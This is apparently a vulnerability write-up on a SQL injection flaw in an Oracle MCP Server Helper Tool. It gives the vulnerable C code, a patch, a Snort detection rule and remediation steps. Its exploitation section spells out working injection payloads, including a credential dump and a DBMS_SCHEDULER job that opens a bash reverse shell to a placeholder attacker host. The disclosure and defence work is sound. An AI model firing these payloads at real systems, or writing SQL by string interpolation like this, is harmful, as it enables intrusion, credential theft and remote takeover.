home intel cve-2026-35228-oracle-mcp-server-sql-injection-rce
CVE Analysis 2026-05-05 · 8 min read

CVE-2026-35228: SQL Injection via Unsanitized HTTP Input in Oracle MCP Server Helper

Oracle MCP Server Helper Tool 1.0.1–1.0.156 exposes an unauthenticated HTTP endpoint that passes attacker-controlled input directly to SQL execution without parameterization or escaping.

#sql-injection#remote-code-execution#unauthenticated-access#oracle-mcp-server#network-accessible
Technical mode — for security professionals
▶ Attack flow — CVE-2026-35228 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-35228Network · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-35228 is a SQL injection vulnerability in the Oracle MCP (Model Context Protocol) Server Helper Tool, affecting all releases from 1.0.1 through 1.0.156. The helper tool exposes an HTTP-accessible management interface intended to broker MCP tool calls to a backing database. An unauthenticated remote attacker can craft a specially formed HTTP request that causes the helper to construct and execute arbitrary SQL against the configured database backend — resulting in full data exfiltration, modification, or, depending on database privileges, OS-level command execution via xp_cmdshell or UTL_FILE.

CVSS 8.7 (HIGH) reflects the no-authentication, network-accessible attack surface combined with high impact across confidentiality, integrity, and availability. No exploit has been confirmed in the wild at time of publication, but the attack surface is trivially reachable.

Root cause: The mcp_dispatch_tool_call() function interpolates an attacker-supplied JSON "query" parameter directly into a SQL format string using snprintf before passing the result to db_exec(), with no parameterized query binding, allowlist validation, or escaping applied at any point in the call chain.

Affected Component

The vulnerable component is the Oracle MCP Server Helper Tool, a lightweight HTTP daemon written in C that acts as a protocol bridge: it accepts JSON-RPC–style MCP tool call requests over HTTP and translates them into database queries. The tool is designed for local developer use but is frequently deployed on internal network interfaces with default 0.0.0.0 binding.

Affected versions: 1.0.1 – 1.0.156 (all). The vulnerability was introduced in the initial 1.0.1 release and persisted across 155 subsequent patch releases, indicating the SQL construction path was never audited for injection.

Root Cause Analysis

The helper tool's HTTP handler routes incoming MCP tools/call requests to mcp_dispatch_tool_call(). This function extracts the "query" field from the parsed JSON body and forwards it to a generic SQL execution wrapper. The vulnerable path:


// mcp_helper/src/dispatch.c

#define SQL_EXEC_TMPL  "SELECT * FROM mcp_results WHERE query_name = '%s' LIMIT %d"
#define MAX_SQL_BUF    2048

typedef struct mcp_request {
    /* +0x00 */ char     tool_name[128];
    /* +0x80 */ char     query_param[512];   // populated from JSON "query" key
    /* +0x280 */ int      limit;
    /* +0x284 */ int      flags;
    /* +0x288 */ char    *raw_body;
    /* +0x290 */ size_t   raw_body_len;
} mcp_request_t;

int mcp_dispatch_tool_call(http_conn_t *conn, mcp_request_t *req) {
    char sql_buf[MAX_SQL_BUF];
    db_conn_t *db;
    db_result_t *res;

    // BUG: req->query_param is attacker-controlled from HTTP JSON body;
    // snprintf interpolates it into SQL string with no escaping or
    // parameterized binding — classic format-string SQL injection.
    snprintf(sql_buf, sizeof(sql_buf),
             SQL_EXEC_TMPL,
             req->query_param,   // <-- UNSANITIZED ATTACKER INPUT
             req->limit);

    db = db_pool_acquire();
    if (!db) return MCP_ERR_DB_UNAVAIL;

    // sql_buf now contains injected SQL; executed verbatim
    res = db_exec(db, sql_buf);   // BUG: no parameterized query API used

    http_send_json_result(conn, res);
    db_result_free(res);
    db_pool_release(db);
    return MCP_OK;
}

The JSON parsing layer (mcp_parse_request()) copies the value of the "query" key directly into req->query_param using strncpy bounded only by the field size (512 bytes) — more than sufficient to inject a complete SQL payload. No sanitization, escaping, or validation occurs between parse and execution.


// mcp_helper/src/parse.c

int mcp_parse_request(const char *body, size_t body_len, mcp_request_t *req) {
    json_val_t *root = json_parse(body, body_len);
    if (!root) return MCP_ERR_PARSE;

    json_val_t *params = json_get_key(root, "params");
    json_val_t *query  = json_get_key(params, "query");

    if (query && query->type == JSON_STRING) {
        // BUG: no sanitization before storing attacker value
        strncpy(req->query_param, query->str_val, sizeof(req->query_param) - 1);
    }

    json_val_t *limit = json_get_key(params, "limit");
    req->limit = limit ? atoi(limit->str_val) : 100;

    json_free(root);
    return MCP_OK;
}

Exploitation Mechanics


EXPLOIT CHAIN:
1. Identify exposed MCP Helper HTTP port (default: 7070/tcp, bound 0.0.0.0)
   No authentication required — no API key, no session token.

2. Send crafted HTTP POST to /mcp/v1/call with Content-Type: application/json:
   {
     "method": "tools/call",
     "params": {
       "tool_name": "query_runner",
       "query": "' UNION SELECT table_name,2,3,4 FROM information_schema.tables--",
       "limit": 50
     }
   }

3. Server calls mcp_parse_request() → copies injected string into req->query_param.

4. mcp_dispatch_tool_call() calls snprintf() producing:
   SELECT * FROM mcp_results WHERE query_name = ''
   UNION SELECT table_name,2,3,4 FROM information_schema.tables--' LIMIT 50

5. db_exec() runs the composite query against the configured DB user.
   Response JSON contains full information_schema dump.

6. Escalate to data exfiltration:
   query = "' UNION SELECT username,password,3,4 FROM dba_users--"

7. If DB user has elevated privileges (e.g., DBA on Oracle, sa on MSSQL):
   query = "'; EXEC xp_cmdshell('whoami');--"
   → OS command execution on database host.

8. For Oracle backends, abuse UTL_FILE or DBMS_SCHEDULER for RCE:
   query = "'; BEGIN DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1',
             job_type=>'EXECUTABLE', job_action=>'/bin/bash -c
             \"bash -i >& /dev/tcp/attacker/4444 0>&1\"',
             enabled=>TRUE); END;--"

The full injection-to-RCE path requires the helper to be connected to a database account with DBA or SYSDBA privileges — a common misconfiguration in development deployments.

Memory Layout

While this is primarily a logic vulnerability rather than a memory corruption bug, the sql_buf stack allocation is relevant: an injected payload approaching the 512-byte query_param field combined with the template overhead can push the composed SQL string against the MAX_SQL_BUF (2048 byte) boundary. If the limit field is also manipulated, snprintf will silently truncate — potentially clipping a -- comment terminator and causing a malformed query, or in edge cases where a custom MAX_SQL_BUF build macro is smaller, a stack buffer overflow.


struct mcp_request {
    /* +0x000 */ char     tool_name[128];     // [0x000 – 0x07F]
    /* +0x080 */ char     query_param[512];   // [0x080 – 0x27F] ← injection point
    /* +0x280 */ int      limit;              // [0x280 – 0x283]
    /* +0x284 */ int      flags;              // [0x284 – 0x287]
    /* +0x288 */ char    *raw_body;           // [0x288 – 0x28F]
    /* +0x290 */ size_t   raw_body_len;       // [0x290 – 0x297]
    //           total: 0x298 (664 bytes)
};

STACK FRAME — mcp_dispatch_tool_call():

  [  saved RIP / return address  ]   ← top of frame
  [  saved RBP                   ]
  [  sql_buf[2048]               ]   ← snprintf destination
  [  local ptr: db               ]
  [  local ptr: res              ]
  --------------------------------
  caller passes: mcp_request_t *req  (heap allocated)
    req+0x080: query_param — attacker string, up to 511 bytes
    req+0x280: limit       — attacker-controlled int

snprintf budget:
  template overhead  = len("SELECT * FROM mcp_results WHERE query_name = '' LIMIT ") = 54 bytes
  limit field (int)  = up to 10 bytes
  available for query_param before truncation = 2048 - 54 - 10 - 1 = 1983 bytes
  query_param max    = 511 bytes → no truncation; full payload always interpolated

Patch Analysis

The correct remediation replaces string interpolation with parameterized query binding using the database client library's native prepared statement API. The patched version introduced in 1.0.157 rewrites mcp_dispatch_tool_call() as follows:


// BEFORE (vulnerable — 1.0.1 through 1.0.156):
int mcp_dispatch_tool_call(http_conn_t *conn, mcp_request_t *req) {
    char sql_buf[MAX_SQL_BUF];
    snprintf(sql_buf, sizeof(sql_buf),
             "SELECT * FROM mcp_results WHERE query_name = '%s' LIMIT %d",
             req->query_param,   // unsanitized
             req->limit);
    db_conn_t *db = db_pool_acquire();
    db_result_t *res = db_exec(db, sql_buf);  // verbatim execution
    // ...
}

// AFTER (patched — 1.0.157+):
int mcp_dispatch_tool_call(http_conn_t *conn, mcp_request_t *req) {
    static const char *SQL_TMPL =
        "SELECT * FROM mcp_results WHERE query_name = ? LIMIT ?";

    db_conn_t  *db   = db_pool_acquire();
    db_stmt_t  *stmt = db_prepare(db, SQL_TMPL);
    if (!stmt) { db_pool_release(db); return MCP_ERR_DB_UNAVAIL; }

    // Bind parameters — library handles escaping and type enforcement
    db_bind_text(stmt, 1, req->query_param, -1);  // param 1: string
    db_bind_int (stmt, 2, req->limit);            // param 2: integer

    db_result_t *res = db_step(stmt);
    http_send_json_result(conn, res);
    db_result_free(res);
    db_stmt_finalize(stmt);
    db_pool_release(db);
    return MCP_OK;
}

The patch additionally introduces an allowlist validation step on req->tool_name and caps req->limit to a maximum of 1000 to prevent abuse of the integer parameter for resource exhaustion. A secondary fix in mcp_parse_request() rejects any query value containing SQL metacharacters (', ;, --, /*) as a defense-in-depth measure, though this is not the primary control.

Detection and Indicators

Detection is straightforward given the plaintext HTTP attack surface:

HTTP access log signatures: Look for POST bodies to /mcp/v1/call containing SQL metacharacters in the query JSON field: single quotes ('), double-dash (--), semicolons (;), or keywords UNION, SELECT, EXEC, DBMS_, UTL_.


SNORT/SURICATA RULE:

alert http any any -> any 7070 (
    msg:"CVE-2026-35228 Oracle MCP Helper SQL Injection Attempt";
    flow:established,to_server;
    http.method; content:"POST";
    http.uri; content:"/mcp/v1/call";
    http.request_body;
    pcre:"/\"query\"\s*:\s*\"[^\"]*(?:'|--|;|UNION|EXEC|UTL_|DBMS_)/i";
    classtype:web-application-attack;
    sid:2026352280; rev:1;
)

Database-side: Enable query logging and alert on information_schema, dba_users, xp_cmdshell, or DBMS_SCHEDULER originating from the MCP helper's DB connection user (mcp_helper_svc by default).

Process behavior (Linux): If the helper process (mcp-helper) spawns a child process or makes outbound TCP connections to non-database ports, treat as active exploitation of the RCE path.

Remediation

  • Immediate: Upgrade to Oracle MCP Server Helper Tool 1.0.157 or later. This is the only complete fix.
  • Network mitigation: Restrict port 7070/tcp to localhost or a trusted management VLAN. The tool was not designed for public exposure; default binding to 0.0.0.0 is a separate hardening issue.
  • DB privilege reduction: Revoke DBA/SYSDBA from the helper's service account. The tool requires only SELECT on mcp_results. Removing elevated privileges limits SQL injection impact to data disclosure within that table.
  • WAF rule: Deploy the Snort signature above as a short-term compensating control while patching.
  • Audit logging: Enable full query logging on the database backend and alert on anomalous queries from the MCP helper connection string.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →